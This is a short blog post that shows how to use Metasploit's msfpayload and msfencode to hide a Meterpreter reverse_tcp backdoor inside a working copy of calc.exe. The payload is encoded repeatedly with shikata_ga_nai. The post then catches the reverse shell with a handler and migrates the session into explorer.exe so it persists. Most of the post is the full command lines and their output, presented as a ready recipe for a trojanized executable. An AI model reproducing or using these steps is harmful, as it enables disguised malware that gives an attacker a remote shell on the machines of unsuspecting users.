Msfencode a Msfpayload Into An Existing Executable

Very cool update to metasploit today:

http://www.metasploit.com/redmine/projects/framework/repository/revisions/8896

This update allows you to msfencode a msfpayload into an existing executable and the new executable still function like the original. So if you inject into calc.exe you get calc.exe and your backdoor.

let's see the new msfencode options:

~/trunk$ ./msfencode -h

Usage: ./msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)
-x Specify an alternate win32 executable template

Let's make our new backdoored executable.

~/trunk$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.11 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)

Get the backdoored exe on the other box and execute it. We have a functional calc.exe and our shell.


msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.210.11
LHOST => 192.168.210.11
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.210.11:4444
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 3 opened (192.168.210.11:4444 -> 192.168.210.11:51695)


Keep in mind that you'll still need to migrate away from the backdoored executable process because if they close the exe you lose your shell.

meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > run migrate explorer.exe
[*] Current server process: calc_backdoor.exe (3360)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 1592
[*] New server process: Explorer.EXE (1592)
meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > getpid
Current pid: 1592
meterpreter >